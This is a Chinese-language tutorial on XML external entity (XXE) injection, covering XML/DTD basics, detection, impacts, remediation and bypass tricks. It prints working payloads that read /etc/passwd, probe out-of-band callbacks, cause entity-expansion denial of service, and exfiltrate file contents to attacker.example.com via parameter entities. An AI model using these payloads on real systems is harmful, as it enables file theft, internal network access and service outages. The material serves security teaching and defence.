一、漏洞原理
1.1 核心
XXE（XML External Entity injection），名为XML外部实体注入。其核心在于XML解析器默认允许外部实体/DTD，攻击者通过构造特殊的XML使其包含恶意外部实体。外部实体可以为服务器敏感文件，也可以为网络请求等，之后利用方式类似于文件包含和SSRF，有时甚至可以间接RCE（少见）。
1.2 原理详解
想彻底了解XXE，需要知道XML和DTD。
1.2.1 XML介绍
XML详细学习地址：https://www.runoob.com/xml/xml-tutorial.html
XML结构类似于HTML，都主要由元素（标签）和属性组成。XML推荐使用元素（标签）而非属性来传递信息。XML需要在开头有一个声明，然后有一个根元素涵盖其他元素。如下例
<?xml version="1.0" encoding="UTF-8"?> <!--xml声明-->
<note> <!--根元素--><to>Tove</to><from>Jani</from><heading>Reminder</heading><body>Don't forget me this weekend!</body>
</note>
上述第一句为声明，note为根元素，其他的to,from,heading,body为其他元素，可以用来传递信息。元素和元素中的内容可以类比于JSON中的键值对。
1.2.2 DTD介绍
DTD详细学习地址：https://www.runoob.com/dtd/dtd-tutorial.html
DTD是XXE漏洞不可或缺的部分。DTD（文档类型定义）的作用是定义 XML 文档的合法构建模块。我们主要用到的DTD的实体。实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体分为内部实体和外部实体，分别类似于SSRF的本地/远程文件包含。一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号。通过引入外部实体，我们就可以达到读取敏感信息乃至RCE。
实体声明：
<!ENTITY entity-name "entity-value"> <!--内部实体声明-->
<!ENTITY entity-name SYSTEM "URI/URL"> <!--外部实体声明-->
例子：
<?xml version="1.0" encoding="UTF-8"?> <!--xml声明-->
<!DOCTYPE author [<!ENTITY writer "Donald Duck."> <!--内部实体声明--><!ENTITY xxe SYSTEM "file:///D:/1.txt"> <!--外部实体声明-->
]> <!--DTD部分-->
<author>&writer;&xxe;</author> <!--xml部分-->二、检测与危害
XXE通常发生在后端的XML解析而非浏览器XML解析，由于很多后端可以自动切换对XML和JSON的解析。因此，虽然目前多是以JSON格式作为数据传输的方式，将请求头中的Content-Type改为application/xml后，或者一些老旧的系统，也有一定可能触发XXE。
2.1 检测方法
总体思路：先定位能提交 XML 的输入点 → 验证服务器是否解析 XML → 逐步注入实体（内置/外部/参数化） → 观察回显/DNSlog记录。
2.1.1 定位 XML 输入点
（1） 查找 Content-Type：在抓包/代理（Burp/Proxy）中观察请求头是否存在 Content-Type: application/xml、text/xml、或 application/soap+xml；
（2） 查找接口类型：SOAP 服务、SAML 参数（SAMLResponse）、文件导入（.xml）、RSS/Sitemap 导入、第三方集成、消息队列（XML 消息）等通常是高优先级；
（3） 前端检查：F12 → Network，查看请求体是否为 XML，或检查提交表单/上传是否接受 XML 文件。
2.1.2 有回显检测
（1） 基本步骤：在确认输入被解析后，先注入简单的内部实体做回显测试。观察HTTP 响应体是否包含 /etc/passwd 内容、异常堆栈或解析错误回显。
（2） 内部实体样例（读取本地文件）：
<?xml version="1.0"?>
<!DOCTYPE r [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<r>&xxe;</r>
2.1.3 无回显外部实体检测
（1） 思路：把外部实体指向你能控制/监听的域名（常常用DNSLog）。发送XML后查看自己的dnslog有没有记录就可以知道能不能引用外部实体了。
（2） 示例：
<?xml version="1.0"?>
<!DOCTYPE r [<!ENTITY remote SYSTEM "http://your-collab-id.oast.site/">
]>
<r>&remote;</r>
2.1.4 DoS（一般测试时一定不要用！！）
（1） 示例：
<?xml version="1.0"?>
<!DOCTYPE lolz [<!ENTITY a "aaaaaaaaaa"><!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;"><!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;"><!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
]>
<lolz>&d;</lolz>
2.1.5 协议/解析器差异测试
（1） 测试多种 scheme：file://、http://、https://、ftp://、ldap://、gopher://（部分解析器支持）。
（2） 不同解析器对 DTD/外部实体的默认策略不同（Java、.NET、libxml、lxml 等），需尝试多种 payload 形式与嵌套方式。
2.1.6 代码审计
（1） 查找 XML 解析相关 API：DocumentBuilderFactory、SAXParserFactory、xml.etree、lxml、libxml2、SimpleXML 等调用；
（2） 检查解析配置：是否启用 DTD/外部实体、是否有禁用 DOCTYPE、是否使用安全库（如 Python 的 defusedxml）；
（3） 检查输入来源：是否直接解析用户上传/外部来源的 XML，或是否在未过滤的情况下处理 SAML/SOAP。
2.2 危害
XXE的危害与文件包含漏洞和SSRF相似，具有很多交叉和重叠的地方。具体如下所示。
2.2.1 本地文件读取
- 说明：通过
file://实体读取服务器文件（如/etc/passwd、私钥/etc/ssl/*、配置文件、/proc/self/environ等）。 - 风险：凭证、配置、私钥泄露可能导致持久化入侵或 RCE（配合其它漏洞）。
2.2.2 实现SSRF
- 说明：外部实体指向
http://internal:port/...等，就类似于一个SSRF了，详见https://www.cnblogs.com/L-xy/p/19084683。 - 风险：发现并利用内部管理接口、横向移动、获取临时凭证或敏感信息。
2.2.3 数据外发
用 HTTP GET 把数据放到 URL（query 或子域）
利用参数实体 / DTD 链把本地文件内容拼接进一个外部实体的 URL，然后解析器访问此 URL（通常是 GET）。攻击者的服务器在访问日志中看到请求并从 URL 或 Host 部分得到信息。下例用到了参数实体。
payload：
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % exfil "<!ENTITY send SYSTEM 'http://attacker.example.com/?p=%file;'>">%exfil;
]>
<foo>&send;</foo>
解释流程：
%file 被解析为 /etc/passwd 内容（参数实体值）。
%exfil 是一段字符串，定义了一个通用外部实体 send，其 SYSTEM URL 包含 %file 的值。
%exfil; 在 DTD 中展开，定义了 send。
正文 &send; 会触发解析器去请求 http://attacker.example.com/?p=
这样就把文件内容通过 URL query 发给了你控制的域名。
2.2.4 DoS（实体膨胀 / 资源耗尽）
- 说明：通过嵌套实体或大量实体导致解析器内存/CPU 消耗）。
- 风险：服务不可用、资源耗尽，影响可用性。
2.2.5 间接 RCE（链式利用）
- 说明：XXE 本身读取的是文本/资源，若读取的内容被后续当作代码/命令/模板处理（例如写入并
include、传给不安全的模板引擎或反序列化器），可导致远程代码执行。 - 风险：高危，通常需要系统中存在其他弱点配合（文件写入、不安全的 eval/include 等）。
三、修复与绕过
3.1 禁用DTD--首选
做法（示例）
- Java: 在
DocumentBuilderFactory/SAXParserFactory上设置disallow-doctype-decl=true，并关闭外部实体特性（见下）。 - .NET: 用
XmlReaderSettings，DtdProcessing = DtdProcessing.Prohibit。 - Python: 使用
defusedxml（如defusedxml.ElementTree）来解析非受信任 XML。 - PHP: 避免开启远程包含；用
XMLReader/DOMDocument时传入LIBXML_NONET等选项以禁止网络访问；尽量避免allow_url_include。
绕过手法
- 攻击者用参数实体 + 远程 DTD（
%remote;）链式注入，以在 DTD 中插入更多声明，尝试在某些解析器/配置下触发外联。
3.2 使用“安全XML库/API”而不是默认解析器
做法
- Python 用
defusedxml，Java 显式设置安全特性或使用安全包装器，PHP 用XMLReader/libxml的安全选项。
3.3 限制scheme协议（file://, gopher://等）
做法
- 在应用层过滤或白名单允许的 schemes（只允许
http/https到特定域）。
绕过手法
- 攻击者会尝试替代协议（
gopher用于构造任意 TCP payload 包括 POST；ldap、ftp、jar、zip、data、php://等 wrapper）或利用协议混淆（URL 编码、大小写变种、16进制，IPv6/decimal 表示法等）。
3.4 白名单/黑名单化
做法
- 对上传的 XML 文件做内容扫描，阻断包含
<!DOCTYPE、ENTITY的请求体。
绕过手法
- 攻击者使用分段/编码/断行、嵌套远程 DTD、参数实体等技巧隐藏
<!DOCTYPE，或把 payload 放在合法元素里的 CDATA，绕过简单的 blacklist。 - 利用非标准编码/UTF tricks、实体转义（
<!DOCTYPE）然后某些解码流程会还原并触发解析。
四、补充说明
4.1 参数实体
DTD参数实体与通用DTD实体相比，更加的隐蔽，有时候能够达到绕过的目的。
- 什么是参数实体（Parameter Entity）
在 XML DTD（文档类型定义）中，实体（Entity）分为两类：
- 通用实体（General Entity）：在 XML 文档的内容中使用，例如
。 - 参数实体（Parameter Entity）：只能在 DTD 内部使用！！！，主要用于 DTD 结构的复用、组织和简化。
参数实体用 百分号 % 来定义和引用。
- 定义参数实体
语法：
<!ENTITY % 实体名 "实体值">
示例：
<!ENTITY % commonAttrs 'id ID #IMPLIED class CDATA #IMPLIED'>
这里 %commonAttrs; 就定义了一组属性声明，可以在其他元素声明中复用。
- 引用参数实体
引用方式：
%实体名;
示例：
<!ELEMENT book (title, author, year)>
<!ATTLIST book%commonAttrs;
>
等价于：
<!ELEMENT book (title, author, year)>
<!ATTLIST bookid ID #IMPLIEDclass CDATA #IMPLIED
>
- 外部参数实体
参数实体不仅能定义在 DTD 内部，还能引用外部文件，便于模块化。
<!ENTITY % externalDTD SYSTEM "file:///etc/password">
%externalDTD;
)
